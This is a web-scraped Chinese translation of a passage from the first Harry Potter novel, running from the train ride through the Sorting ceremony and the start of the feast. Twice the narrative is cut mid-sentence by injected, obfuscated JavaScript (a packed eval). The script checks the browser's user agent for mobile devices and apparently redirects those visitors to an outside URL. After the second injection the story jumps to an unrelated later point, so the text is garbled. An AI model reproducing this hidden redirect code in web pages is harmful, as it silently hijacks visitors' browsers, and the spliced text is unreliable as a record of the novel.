“你不会喜欢吃这个的,太干。”罗恩说,“她没有时间,”他连忙又说,“你看,她要同时照顾我们五个。” “来吧,来一个馅饼。”哈利说。在这之前他没有分给过别人任何东西,其实也没有人跟他分享。现在跟罗恩坐在一起大嚼自己买来的馅饼和蛋糕(三明治早已放在一边被冷落了),边吃边聊,哈利感觉好极了。 “这些是什么?”哈利拿起一包巧克力蛙问罗恩,“它们不会是真青蛙吧?”他开始觉得现在什么也不会让罗恩吃惊了。 “不是,”罗恩说,“你看看里边的画片,我少一张阿格丽芭。” “什么?” “哦,你当然不会知道,巧克力蛙里都附有画片,你知道,可以收集起来,都是些有名气的男女巫师,我差不多攒了五百张了,就是缺阿格丽芭和波托勒米。” 哈利打开巧克力蛙,取出画片。画片上是一张男人的脸,戴一副半月形眼镜,长着一个歪扭的长鼻子,银发和胡须披垂着。画片下边的名字是:阿不思·邓布利多。 “哦,是邓布利多!”哈利说。 “你可别说从来没听说过邓布利多!”罗恩说,“给我一个巧克力蛙好吗?说不定我能拿到阿格丽芭呢——谢谢——” 哈利把画片翻过来,读背面的文字:阿不思·邓布利多现任霍格沃茨校长,被公认为当代最伟大的巫师。邓布利多广为人知的贡献包括:一九四五年击败黑巫师格林德沃,发现龙血的十二种用途,与合作伙伴尼可·勒梅在炼金术方面卓有成效,邓布利多教授爱好室内乐及十柱滚木球戏。 哈利重新把画片翻到正面,吃惊地发现邓布利多的脸竟然不见了。“他不见了!”“你当然不能希望他整天待在这里。”罗恩说,“他会回来的。不过我又拿到一张莫佳娜。我已经有六张她的画片了...给你吧?你也可以开始收集了。”罗恩眼睛盯着一堆没有拆包的巧克力蛙。 “你自己拿吧。”哈利说,“可你知道,在麻瓜世界里,人们一旦被拍成照片就永远保留在照片上不变了。” “是吗?怎么,那他们就一动不动了吗?”罗恩显得非常惊讶。“太奇妙了!” 哈利眼看着邓布利多又溜回到画片上,还朝他微微一笑。 罗恩的兴趣在于吃巧克力蛙,而不是看那些有名气的男女巫师的画片。可哈利却怎么也不能把目光从那些画片上移开。他一下子不仅有了邓布利多和莫佳娜,而且还有了汉吉斯、阿博瑞克、瑟斯、帕拉瑟和梅林。最后他总算勉强自己不再去看德鲁伊特、教女教徒克丽奥娜,然后打开一袋比比多味豆。 “吃这个你要当心,”罗恩警告哈利说,“他们所说的多味,你知道,意思是各种味道一应俱全,吃起来不仅有巧克力、薄荷糖、橘子酱等一般的味道,而且还会有菠菜、肝和肚的味道。乔治说,有一次他还吃到过一粒带鼻子牛儿味的豆子呢。” 罗恩捡起一粒绿色豆子,仔细看了一下,咬下一点。 “哎呀呀,明白了吧?芽豆。” 这包多味豆让他们俩都好好地享受了一番。哈利吃到了吐司、椰子、烘豆、草莓、咖喱、青草、沙丁鱼等各种口味,甚至还勇敢地舔了一下罗恩连碰都不敢碰的一粒奇怪的灰豆,原来那是胡椒口味。 这时在车窗外飞驰而过的田野显得更加荒芜,一片整齐的农田已经消逝了。随之而来的是一片树林、弯弯曲曲的河流和暗绿色的山丘。又有人敲他们的隔间门。与哈利在9又3/4站台擦肩而过的圆脸男孩走进来,满眼含泪。 “对不起,”他说,“我想问问,你看见我的蟾蜍了吗?”哈利和罗恩都摇摇头,他就大哭起来。“我又把它弄丢了!它总想从我身边跑掉!” “它会回来的。”哈利说。 “是啊,”孩子伤心地说,“那么,要是你们看到...” 他走了。 “我不明白,他为什么这么着急。”罗恩说,“我要是买了一只蟾蜍,我会想办法尽快把它弄丢,越快越好。不过我既然带了斑斑,也就没话可说了。” 老鼠还在罗恩的腿上打盹。 “它说不定早死了,反正死活都一样。”罗恩厌烦地说,“我昨天试着想把它变成黄色的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15338690|167802||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,变得好玩一些,可是我的咒语不灵。我现在来做给你看看,注意了...” 他在皮箱里摸索了半天,拽出一根很破旧的魔杖,有些地方都剥落了,一头还闪着白色亮光。 “独角兽毛都要露出来了。不过...” 他刚举起魔杖,隔间门又开了。那个丢蟾蜍的男孩再次来到他们俩面前,只是这回有一个小姑娘陪他同来。她已经换上了霍格沃茨的新长袍。 “你们有人看到一只蟾蜍吗?纳威丢了一只蟾蜍。”她说,语气显得自高自大,日中无人。她有一头浓密的棕色头发和一对大门牙。 “我们已经对他说过了,我们没有看见。”罗恩说,可小姑娘根本不理会,只看着他手里的魔杖。 “哦。你是在施魔法吗?那就让我们开开眼吧。” 她坐了下来。罗恩显然吃了一惊,有些不知所措。 “哦——好吧。” 他清了清嗓子。 雏菊、甜奶油和阳光,把这只傻乎乎的肥老鼠变黄。 他挥动魔杖,但什么也没有发生。斑斑还是灰色的,睡得正香。 “你肯定这真是一道咒语吗?”小姑娘问。“看来不怎么样,是吧?我在家里试过几道简单的咒语,只是为了练习,而且都起作用了。我家没有一个人懂魔法,所以当我收到入学通知书时,我吃惊极了,但又特别高兴,因为,我的意思是说,据我所知,这是一所最优秀的魔法学校——所有的课本我都背会了,当然,我只希望这能够用——我叫赫敏·格兰杰,顺便问一句,你们叫什么名字?” 她连珠炮似的一气说完。 “我叫罗恩·韦斯莱。”罗恩嘟哝说。 “哈利·波特。”哈利说。 “真的是你吗?”赫敏问。“你的事我全都知道。当然——我额外多买了几本参考书,《现代魔法史》、《黑魔法的兴衰》、《二十世纪重要魔法事件》,这几本书里都提到了你。” “提到我?”哈利说,突然感到一阵头晕目眩。 “天哪,你居然会不知道。要是我,我一定想办法把所有提到我的书都找来。”赫敏说,“你们俩知不知道自己会被分到哪个学院?我已经到处打听过了,我希望能分到格兰芬多,都说那是最好的,我听说,邓布利多自己就是从那里毕业的,不过我想拉文克劳也不算太坏...不管怎么说,我们最好还是先去找纳威的蟾蜍。你们俩最好赶快把衣服换上,要知道,我们大概很快就要到了。” 于是她领着那个丢了蟾蜍的男孩一道走了。 “不管分到哪个学院,我都不希望跟她分在一起。”罗恩说。他把魔杖扔到了旅行箱里。“这个咒语没用,是乔治告诉我的。我敢说,他准早就知道这是一发瞎炮。” “你的两个哥哥都在哪个学院?”哈利问。 “格兰芬多。”罗恩说,他似乎又显得不开心了。“妈妈和爸爸以前也是上这个学院的。如果我不去那个学院,不知道他们会怎么说。我并不认为去拉文克劳就特别不好,可想想看,千万别把我分到斯莱特林学院。” “那是伏——对不起,我是说,就是神秘人待过的吗?” “不错。”罗恩说着,倒在座位上,显得很沮丧。 “你看,我觉得斑斑胡子尖的颜色变淡了。”哈利说,想把罗恩的注意力从学院的事情上转移开来。“你的两个哥哥既然毕业了,现在他们都在做什么?”哈利想知道巫师从学校毕业后会去做什么。 “查理在罗马尼亚研究龙,比尔在非洲替古灵阁做事。”罗恩说。“你听说古灵阁的事了吗?《预言家日报》上都登满了,不过你跟麻瓜住在一起,我想你不会看到这份报纸的——有人试图抢劫防范高度严密的地下金库呢。” 哈利瞪大了眼睛。 “真的吗?后来怎么样了?” “什么事也没有,正因为这样才爆出一件大新闻。他们没有被抓住。我爸爸说,显然只有功力最高强的黑巫师才能设法摆脱古灵阁的追捕。不过他们什么也没有拿走,怪就怪在这里。当然,每当这类事情发生时,就人人自危,人们担心事情背后有神秘人指使。” 哈利在脑子里反复琢磨这件新闻。每当提到神秘人,他就不寒而栗。他认为这也许是初入魔法世界的必然感受吧,但是比起先前能毫无顾忌地直呼伏地魔的名字,现在可不如当初好受了。 “你喜欢哪一支魁地奇球队?”罗恩问。 “哦——我全都不了解。”哈利承认说。 “什么!”罗恩似乎惊呆了。“哦,你等等,这是世界上最好的娱乐——”接着他就滔滔不绝地讲解四只球,七名队员的位置,绘声绘色地讲他跟几个哥哥去看的几场有名的球赛,并说等他有了钱,他要买一把他喜欢的飞天扫帚。当他正好讲到球赛最精彩的地方时,隔间门又被推开了,不过这回进来的不是丢失蟾蜍的男孩纳威,也不是赫敏·格兰杰。 进来了三个男孩,哈利立刻认出中间的一个,正是他在摩金夫人长袍店里遇到的那个面色苍白的男孩。他怀着比在对角巷时大得多的兴趣注视着哈利。 “是真的吗?”他问,“整列火车上的人都在纷纷议论,说哈利·波特在这个隔间里。这么说,那就是你了。对吧?” “是的。”哈利说,他看着另外两个男孩,他们俩都是矮胖墩,而且长相特别难看,站在小白脸两边,一边一个,简直像他的一对保镖。 “哦,这是克拉布,这是高尔。”面色苍白的男孩发现哈利在看他们,就随随便便地说,“我叫马尔福,德拉科·马尔福。” 罗恩轻轻咳了一声,免得笑出声来。德拉科·马尔福看着他。“你觉得我的名字太可笑,是吗?不用问你是谁。我父亲告诉我,韦斯莱家的人都是红头发,满脸雀斑,而且孩子多得养不起。” 他转身对哈利说:“你很快就会发现,有些巫师家庭要比其他家庭好许多,波特。你不会想跟另类的人交朋友朋友吧。在这一点上我能帮你。” 他伸出手要跟哈利握手,可哈利没有答理。 “我想我自己能分辨出淮是另类,多谢了。”他冷冷地说。 德拉科·马尔福的脸没有涨红,只是苍白的面颊泛出淡淡的红晕。 “我要是你呀,波特,我会特别小心。”他慢慢吞吞地说。“你应当放客气点,否则你会同样走上你父母的那条路。他们也不知好歹。你如果跟像韦斯莱家或海格这样不三不四的人混在一起,你会受到影响的。” 哈利和罗恩腾地站了起来。罗恩脸红得跟他的红头发一样。 “你再说一遍。”他说。 “哦,你们想打架,是不是?”马尔福冷笑说。 “除非你们现在就给我出去。”哈利说,实际上他内心并不像外表这么勇敢,因为克拉布和高尔的块头要比他和罗恩大得多。 “可是我们并没有想走的意思,是不是啊,小伙子们?我们把吃的东西都吃光了,你们这里好像还有。” 高尔伸手去拿罗恩旁边的巧克力蛙...罗恩朝前一扑,根本还没碰到高尔,就听高尔一声惨叫。 老鼠斑斑吊在他的手指上,尖利的小牙深深地咬进了高尔的肉里——高尔一边大叫,一边不停地挥手想把斑斑甩掉;克拉布和马尔福直往后退;最后斑斑终于被甩掉了,撞到车窗上;他们三人也立刻趁机溜掉了。也许他们以为糖果里还埋伏着更多的老鼠,也许他们已经听到了脚步声,因为跟着赫敏格兰杰就进来了。 “出什么事了?”她看着撒满一地的糖果问。罗恩提着斑斑的尾巴,把它从地上拾起来。 “我想,它肯定摔晕了。”罗恩对哈利说。他凑到斑斑跟前仔细查看,“哎呀,我简直不敢相信,它又睡着了。” 它真的睡着了。 “你以前碰到过马尔福吗?” 哈利向罗恩讲述了他在对角巷与马尔福相遇的事。 “我听说过他家的事。”罗恩阴郁地说,“神秘人失踪以后,他们是第一批回到我们这边的人,说他们走火入魔了.我爸爸不相信。他说马尔福的父亲不用找任何借口就轻易倒到黑势力那边去了。”他又转过身来对赫敏说:“需要我们帮什么忙吗?” “你们最好还是赶快换上长袍,我刚到车头上问过司机,他说我们就要到了。你们没有打架吧?我们还没到地方,你们就要惹出麻烦来!” “斑斑干了一架,我们没有。”罗恩绷着脸瞪着她说,“我们要换衣服了,请你出去一下好吗?” “好吧——我来这里是因为外面那些人太淘气了,在走道上跑来跑去。”赫敏不屑地说。“哦,顺便说一句,你鼻子上有块脏东西,你知道吗?” 她出去时,罗恩瞪了她一眼。 哈利朝车窗外瞥了一眼,天已经黑下来了。他看见深紫色的天空下一片山峦和树林。火车似乎减慢了速度。 哈利和罗恩脱下外衣,换上黑长袍。罗恩的长袍短了点儿,下边露出了他那双球鞋。 “再过五分钟列车就要到达霍格沃茨了,请将你们的行李留在车上,我们会替你们送到学校去的。”这声音在列车上回荡。哈利紧张得胃里的东西直往上翻,他看见罗恩雀斑下面的脸色也发白了。他们把剩下的糖果塞进衣袋,就随着过道上的人流朝前涌去。 列车放慢了速度,最后终于停了下来。旅客们推推搡搡,纷纷拥向车门,下到一个又黑又小的站台上。 夜里的寒气使哈利打了个寒噤。接着一盏灯在学生们头顶上晃动,哈利听见一个熟悉的声音在高喊:“一年级新生!一年级新生到这边来!哈利,到这边来,你好吗?” 在万头攒动的一片人海之上,海格蓄着大胡子的脸露着微笑。“来吧,跟我来,还有一年级新生吗?当心你们脚底下,好了!一年级新生跟我来!” 他们跟随海格连滑带溜,磕磕绊绊,似乎沿着一条陡峭狭窄的小路走下坡去。小路两旁一片漆黑,哈利心里想这两边应该是茂密的树林吧。没有人说话。只有丢失蟾蜍的那个男孩偶尔吸一两下鼻子。 “拐过这个弯,你们马上就要第一次看到霍格沃茨了。”海格回头喊道。接着是一阵嘹亮的“噢——!”狭窄的小路尽头突然展开了一片黑色的湖泊。湖对岸高高的山坡上耸立着一座巍峨的城堡,城堡上塔尖林立,一扇扇窗口在星空下闪烁。 “每条船不能超过四人!”海格指着泊在岸边的一队小船大声说。哈利和罗恩上了小船,纳威和赫敏也跟着上来了。 “都上船了吗?”海格喊道,他自己一人乘一条船。“那好...前进咯!”一队小船即刻划过波平如镜的湖面向前驶去。 大家都沉默无语,凝视着高入云天的巨大城堡。当他们临近城堡所在的悬崖时,那城堡仿佛耸立在他们头顶上空。 “低头!”当第一批小船驶近峭壁时,海格大声喊道。大家都低下头来,小船载着他们穿过覆盖山崖正面的常春藤帐幔,来到隐秘的开阔入口。他们沿着一条漆黑的隧道似乎来到了城堡地下,最后到达了一个类似地下码头的地方,然后又攀上一片碎石和小鹅卵石的地面。 “喂,你看看!这是你的蟾蜍吗?”学生纷纷下船,海格在清查空船时说。 “感谢上帝!”纳威伸出双臂欣喜若狂地喊道。之后他们在海格提灯的灯光照耀下,攀上山岩中的一条隧道,最后终于到达了城堡阴影下的一处平坦潮湿的草地。 大家攀上一段石阶,聚在一扇巨大的橡木门前。“都到齐了吗?你看看,你的蟾蜍还在吧?”海格举起一只硕大的拳头,往城堡大门上敲了三下。 8. 分院帽 门立时洞开。一个身穿翠绿色长袍的高个儿黑发女巫站在大门前。她神情严肃,哈利首先想到的是这个人可不好对付。 “一年级新生,麦格教授。”海格说。 “谢谢你,海格。到这里就交给我来接走。” 她把门拉得大开。门厅大得能把德思礼家的整栋房子搬进去。像古灵阁一样,石墙周围都是熊熊燃烧的火炬。天花板高得几乎看不到顶。正面是一段豪华的大理石楼梯,直通楼上。 他们跟随麦格教授沿石铺地板走去。哈利听见右边门里传来几百人嗡嗡的说话声,学校其他班级的同学想必已经到了——但是麦格教授却把一年级新生带到了大厅另一头的一间很小的空屋里。大家一拥而入,摩肩擦背地挤在一起,紧张地仔细凝望着周围的一切。 “欢迎你们来到霍格沃茨,”麦格教授说,“开学宴就要开始了,不过你们在到餐厅入席之前,首先要你们大家确定一下你们各自进入哪一所学院。分类是一项很重要的仪式,因为你们在校期间,学院就像你们在霍格沃茨的家。你们要与学院里的其他同学一起上课,一起在学院的宿舍住宿,一起在学院的公共休息室里度过课余时间。 “四所学院的名称分别是:格兰芬多、赫奇帕奇、拉文克劳和斯莱特林。每所学院都拥有自己的光荣历史,都培育出了杰出的男女巫师。你们在霍格沃茨就读期间,你们的出色表现会使你们所在的学院赢得加分,而任何违规行为则使你们所在的学院减分。年终时,获最高分的学院可获得学院杯,这是很高的荣誉。我希望你们不论分到哪所学院都能为学院争光。 “过几分钟,分院仪式就要在全校师生面前举行。我建议你们在等候时,好好把自己整理一下,精神一些。” 她的目光在纳威的斗篷(斗篷带系在左耳下边)和罗恩鼻子那块脏东西上游移了一下。哈利紧张地拼命把头发抚平。 “等那边准备好了,我就来接你们。”麦格教授说,“等候时,请保持安静。” 她离开了房间。哈利这才吐了一口气。 “他们怎么能准确地把我们分到哪所学院去呢?”他问罗恩。“我想,总是通过一种测验呗。弗雷德说对我们的伤害很大,可我想他是在开玩笑。” 哈利心里猛地一颤。做测验?在全校师生面前?可他直到现在连一点儿魔法也不会——他究竟该怎么办呢?他们来到这里时,他根本没想到还会来这么一招。他焦急地看看周围,周围人也人人自危。没有人说话。只有赫敏口中念念有词,在飞快地背诵她学过的咒语,拿不准该用哪一道。哈利尽量不去听她背诵。他从来没有像现在这样紧张过,从来没有,即使他把学校报告书交给德思礼夫妇:报告书上说他把老师的假发套变成了蓝色。他目不转睛地盯着房门,麦格教授随时都可能回来带他去面对毁灭。 这时发生了一件怪事,吓得他一蹦三丈高——他背后有几个人还高声尖叫。 “那是——” 他吓得透不过气来,周围的人也是一样。从他们背后的墙上突然蹿出二十来个幽灵。这些珍珠白、半透明的幽灵,滑过整个房间,一边交头接耳,对这些一年级新生很少留意。他们好像在争论什么。一个胖乎乎的小修士模样的幽灵说:“应当原谅,应当忘掉,我说,我们应当再给他一次机会——” “我的好修士,难道我们给皮皮鬼的机会还不够多吗?可他给我们都取了难听的外号。你知道,他甚至连一个起码的幽灵都够不上——我说,你们在这里干什么?” 一个穿轮状皱领紧身衣的幽灵突然发现了一年级新生。 没有人答话。“新生哟!”那个胖乎乎的修士朝他们微笑说。“我想,大概是准备接受测试吧?” 有些学生默默地点点头。“希望你们能分到赫奇帕奇!”修士说,“我以前就读那个学院。” “现在朝前动动吧,”一个尖细的声音说,“分院仪式马上就要开始了。” 麦格教授回来了。幽灵们鱼贯地飘飘荡荡穿过对面的墙壁不见了。“现在,排成单行,”麦格教授对一年级新生说,“跟着我走。” 哈利觉得两腿像灌了铅,可奇怪的是他还是站到了队列里,在一个淡茶色头发男孩背后,而他的背后是罗恩。他们走出房间,穿过门厅,经过后边一道双开门进入豪华的餐厅。 哈利从未想到过竟会有如此神奇美妙、富丽堂皇的地方。学院其他班级的同学都已围坐在四张长桌旁,桌子上方成千上万只飘荡在半空的蜡烛照亮餐厅。四张桌上摆着熠熠闪光的金盘和高脚酒杯。餐厅上首的台子上另摆着一张长桌,那是教师们的席位。 麦格教授把一年级新生带到那边,让他们面对全体高班生排成一排,教师们在他们背后。烛光摇曳,几百张注视着他们的面孔像一盏盏苍白的灯笼。幽灵们也夹杂在学生们当中闪着朦胧的点点银光。哈利为避开他们的目光,抬头朝上看,只见天鹅绒般漆黑的顶棚上点点星光闪烁。他听见赫敏小声说:“这里施过法术,看起来跟外边的天空一样,我在《霍格沃茨,一段校史》里读到过。” 很难令人相信那上边真有天花板,也很难令人相信餐厅屋顶不是露天的。 麦格教授往一年级新生面前轻轻放了一只四脚凳,哈利连忙收回了目光。麦格教授又往凳子上放了一顶尖顶巫师帽。帽子打着补丁,磨得很旧,而且脏极了。佩妮姨妈决不会让这样的东西进家门。 说不定他们要用这顶帽子变出一只兔子吧,哈利想入非非,大概就是这类事吧——他发现餐厅里的人都在盯着这顶帽子,于是他也盯着它。餐厅里鸦雀无声。接着,帽子扭动了。帽边裂开一道宽宽的缝,像一张嘴——帽子开始唱起来:你们也许觉得我不算漂亮,但千万不要以貌取人,如果你们能找到比我更漂亮的帽子,我可以把自己吃掉。 你们可以让你们的圆顶礼帽乌黑油亮,让你们的高顶丝帽光滑挺括, 我可是霍格沃茨测试用的魔帽,自然比你们的帽子高超出众。 你们头脑里隐藏的任何念头,都躲不过魔帽的金睛火眼,戴上它试一下吧, 我会告诉你们,你们应该分到哪一所学院。 你也许属于格兰芬多,那里有埋藏在心底的勇敢,他们的胆识、气魄和豪爽,使格兰芬多出类拔萃; 你也许属于赫奇帕奇,那里的人正直忠诚,赫奇帕奇的学子们坚忍诚实,不畏惧艰辛的劳动; 如果你头脑精明,或许会进智慧的老拉文克劳,那些睿智博学的人,总会在那里遇见他们的同道; 也许你会进斯菜特林,也许你在这里交上真诚的朋友,但那些狡诈阴险之辈却会不惜一切手段,去达到他们的目的。 来戴上我吧!不必害怕!千万不要惊慌失措! 在我的手里(尽管我连一只手也没有)你绝对安全, 因为我是一顶会思想的魔帽! 魔帽唱完歌后,全场掌声雷动,魔帽向四张餐桌一一鞠躬行礼,随后就静止不动了。“所以,我们只要戴上这顶帽子就可以了。”罗恩悄悄对哈利说,“我要把弗雷德杀掉,听他说得像是要跟巨人搏斗呢。”哈利淡淡地一笑。当然,戴帽子要比来一段咒语好多了,但他还是不希望在众目睽睽之下去戴。看来这顶帽子的要求高了些。哈利觉得自己没有那份勇气和机灵劲儿或其他任何优点。如果帽子提出有一所专门让优柔寡断的人进的学院,那倒是对他来说最合适的地方。 这时麦格教授朝前走了几步,手里拿着一卷羊皮纸。 “我现在叫到谁的名字,谁就戴上帽子,坐到凳子上,听候分院。”她说,“汉娜·艾博!” 一个面色红润、梳着两条金色发辫的小姑娘,跌跌撞撞地走出队列,戴上帽子,帽子刚好遮住她的限睛。她坐了下来。片刻停顿——“赫奇帕奇!”帽子喊道。 右边一桌的人向汉娜鼓掌欢呼,欢迎她在他们这一桌就坐。哈利看见胖修士幽灵也高兴地向她挥手致意。 “苏珊·彭斯!” “赫奇帕奇!”帽子又喊道。苏珊飞快地跑到汉娜身边坐下。 “泰瑞·布特!” “拉文克劳!” 这次左边第二桌拍手鼓掌。当泰瑞加入到他们的行列时,有几名拉文克劳的学生站起来和他握手。 曼蒂·布洛贺也分到拉文克劳,拉文德·布朗则成了格兰芬多的第一位新生,左边最远的一张餐桌即刻爆发出一阵欢呼,哈利看见罗恩的一对孪生哥哥发出了嘘声。 接着米里森·伯斯德成为斯莱特林的新生。也许哈利听了许多关于斯莱特林的议论,产生了某些印象,但他总觉得这些人看起来不讨人喜欢。 他现在开始感到特别不舒服。他回想起在小学上体育课时分组的事。总是挑到最后剩他一个人,这并不是因为他不够好,而是因为谁也不想让达力认为他们喜欢他。 “贾斯廷·芬列里!” “赫奇帕奇!” 哈利发现有时帽子立刻就喊出学院的名字,但另一些时候花了一些时间才作出决定。比如排在哈利旁边的那个浅茶色头发的男孩西莫·斐尼甘就在凳子上几乎坐了整整一分钟,帽子才宣布他被分到格兰芬多。 “赫敏·格兰杰!” 赫敏几乎跑到凳子跟前,急急忙忙把帽子扣到头上。 “格兰芬多!”帽子喊道。罗恩哼了一声。 当你非常紧张的时候,就会生出许多可怕的想法,哈利也是一样。 他突然想到要是万一根本不挑选他会怎么样呢?如果帽子扣在他头上,盖住他的眼睛好长时间,最后还是麦格教授把帽子从他头上拽下来,然后说,明摆着是搞错了,要他最好还是坐火车回去,那又会怎么样呢?叫到那个总丢失蟾蜍的男孩纳威·隆巴顿的名字时,他朝凳子跑的路上摔了一跤。帽子用了好长时间才对纳威作出决定。当帽子最后喊出“格兰芬多”时,纳威戴着帽子就跑掉了,最后不得不在一片哄笑声中一溜小跑回来,把帽子还给麦格教授。 叫到马尔福的名字时,马尔福大模大样走过去,而且即刻如愿以偿,帽子几乎刚碰到他的头就尖叫道:“斯莱特林!” 马尔福前去和他的朋友克拉布与高尔会合,露出对自己很满意的样子。 这时,剩下的人已经不多了。 莫恩……诺特……帕金森……之后是一对佩蒂尔孪生姐妹……然后是莎莉安波克斯……最后,总算轮到——“哈利·波特!” 当哈利朝前走去时,餐厅里突然发出的一阵嗡嗡低语像小火苗的咝咝响声。 “波特,她是在叫波特吗?”“是那个哈利波特?” 在帽子就要扣到头上遮住他的视线时,哈利看到餐厅里人头攒动,人人引颈而望,希望看清他的模样。接着就是帽子里的黑暗世界和等待。 “嗯,”他听到耳边一个细微的声音说,“难。非常难。看得出很有勇气。心地也不坏。有天分,哦,我的天哪,不错——你有急于证明自己的强烈愿望,那么,很有意思……我该把你分到哪里去呢?” 哈利紧紧抓住凳子边,心里想:“不去斯莱特林,不去斯莱特林。” “不去斯莱特林,对吧?”那个细微的声音问,“拿定主意了吗?你能成大器,你知道,在你一念之间,斯莱特林能帮助你 走向辉煌,这毫无疑问——不乐意?那好,既然你已经拿定主意——那就最好去格兰芬多吧!” 哈利听见帽子向整个餐厅喊出了最后那个名字。他摘下帽子,两腿微微颤抖着走向格兰芬多那一桌。他入选了,而且没有被分到斯莱特林,这使他大大松了一口气,也使他几乎没有注意到自己竞获得了最响亮的欢呼喝彩。级长珀西站起来紧紧地跟他握手。韦斯莱家的孪生兄弟大声喊道:“我们有波特了!我们有波特了!”哈利坐到他先前碰到的那个穿轮状皱领的幽灵对面。幽灵拍了拍他的手臂,使他突然产生了一种刚刚跳进一桶冰水里的可怕感觉。 现在哈利总算可以好好看看高台上的主宾席了。海格坐在离他最近的角落。他捕捉到了哈利的目光,向他竖起大拇指。哈利咧嘴报以一笑。主宾席的中央,一把大金椅上坐着阿不思·邓布利多。哈利一眼就认出了他的面孔,因为他在火车上从巧克力蛙的巫师画片上见过。整个餐厅里只有邓布利多的银发和幽灵们一样闪闪发光。哈利也同样认出了奇洛教授,那个他在破釜酒吧遇到的神经质的年轻人。他头上裹着一条很大的紫色围巾,显得很古怪。 现在听候分配的只剩下三个人了。莉莎·杜平成了拉文克劳的新生。接着就轮到了罗恩。他这时脸色发青。哈利紧握双手放在桌下。一眨眼工夫帽子就高喊道:“格兰芬多!” 当罗恩一下子瘫倒在哈利旁边的座位上时,哈利跟着其余的人大声鼓掌。 “很好,罗恩,太好了!”珀西韦斯莱越过哈利,用夸张的口吻说。这时剩下的最后一名布雷·司尼被分到斯莱特林了。麦格教授卷起羊皮纸,拿起分院帽离去了。 哈利低头看着面前空空的金盘子,这才感觉到早已饥肠辘辘。吃南瓜馅饼似乎是很久以前的事了。阿不思·邓布利多站起来。他笑容满面地看着学生们,向他们伸开双臂,似乎没有什么比看到学生们济济一堂使他更高兴的了。“欢迎啊!”他说,“欢迎大家来霍格沃茨开始新的学年!在宴会开始前,我想讲几句话。那就是:笨蛋!哭鼻子!残渣!拧!谢谢大家!”他重新坐下来。大家鼓掌欢呼。哈利不知道是否该一笑置之。 “他是不是——有点疯疯癫癫?”他迟疑地问珀西。 “疯疯癫癫?”珀西小声说,“他是一位天才!世界上最优秀的巫师!不过你说得也对,他是有点疯疯癫癫。要不要来点马铃薯,哈利?” 哈利目瞪口呆。这时他面前的餐盘里都放满了吃的。他从来没见过桌上一下子摆这么多他喜欢吃的东西:烤牛肉、烤子鸡、猪排、羊羔排、腊肠、牛排、煮马铃薯、烤马铃薯、炸薯片、约克夏布丁、豌豆苗、胡萝卜、肉汁、番茄酱,而且不知出于什么古怪的原因,还有薄荷硬糖。 说实在的,德思礼夫妇并没让哈利饿着,可也没有真正让他放开肚皮吃过。达力总是把哈利想吃的东西抢走了,尽管这些东西有时候让达力想吐。除了薄荷硬糖之外,哈利每样都往餐盘里拿了一点儿,开始大嚼起来。样样都很好吃。 “看起来真不错呀。”穿轮状皱领的幽灵眼睁睁地看着哈利切牛排,难过地说。 “你不来上一点儿吗?” “我已经有四百年没有吃东西了。”那个幽灵说,“我不需要吃,不过,当然很怀念它们的美昧。我想,我还没有做自我介绍吧?敏西-波平顿的尼古拉斯爵士,格兰芬多塔的常驻幽灵。” “我知道你是谁了!”罗恩突然说,“我的两个哥哥对我讲起过你——你是那个‘差点没头的尼克’!” “我想,我比较喜欢你们叫我敏西的尼古拉斯爵士。”幽灵显得有些局促不安,但是淡茶色头发的西莫·斐尼甘插话说:“差点没头?你怎么会差点没头呢?” 尼古拉斯爵士显得很生气,看来他不想谈这个话题。 “就像这样。”他急躁地说。他抓住左耳朵往下拽。他的头摇摇晃晃从脖子上滑了下来,搏到肩上,仿佛头是用铰链连接的。看来有人砍他的头,没有砍彻底。差点没头的尼克眼看他们一个个目瞪口呆的表情,很开心。他把头轻轻弹回到脖子上,清了清嗓子,说:“好了,格兰芬多的新同学们!我希望你们能帮助我们赢得本学年的学院杯冠军,好吗?格兰芬多从来没有这么长时间没赢过奖了。斯莱特林来了个六连冠!血人巴罗实在让人忍无可忍了——他是斯莱特林的幽灵。” 哈利朝斯莱特林那一桌看过去,看见桌旁坐着一个幽灵,十分可怕,瞪着呆滞的眼睛,形容枯槁,长袍上沾满银色的血斑。血人巴罗正好坐在马尔福旁边,马尔福对这样的座位安排不太满意,哈利看了心里觉得乐滋滋的。 “他怎么弄得浑身都是血?”西莫特别感兴趣。 “我从来没问过。”差点没头的尼克拘谨地说。 等到每人都敞开肚皮填饱肚子以后,剩下的食物就一股脑儿地从餐盘里消失了。餐盘、叉都变得光洁如初。过了一会儿,布丁上来了。各种口味的冰淇淋应有尽有, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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灼痛像来时一样,刹那间就消失了。挥之不去的是哈利扶那位老师目光中得到的感受,他觉得那位老师对他没有一点儿好感。 “跟奇洛教授讲话的那位老师是谁?”他问珀西。 “哦,奇洛教授你已经认识了,他那么紧张并不奇怪。那位是斯内普教授,教魔药学,但他不愿意教这门课——大家都知道他眼馋奇洛教授的工作。斯内普对黑魔法可是大大在行。”哈利注视了斯内普片刻,但斯内普没有再看他。 最后,布丁也消失了,邓布利多教授又站了起来。餐厅也复归肃静。“哦,现在大家都吃饱了,喝足了,我要再对大家说几句话。在学期开始的时候,我要向大家提出几点注意事项。”“一年级新生注意,校园里的树林一律禁止学生进入。我们有些老班的同学也要好好记住这一点。” 邓布利多闪亮的目光朝韦斯莱孪生兄弟那边扫了一下。 “再有,管理员费尔奇先生也要我提醒大家,课间不要在走廊里施魔法。 “魁地奇球员的审核工作将在本学期的第二周举行。凡有志参加学院代表队的同学请与霍琦夫人联系。 “最后,我必须告诉大家,凡不愿遭遇意外、痛苦惨死的人,请不要进入四楼靠右边的走廊。” 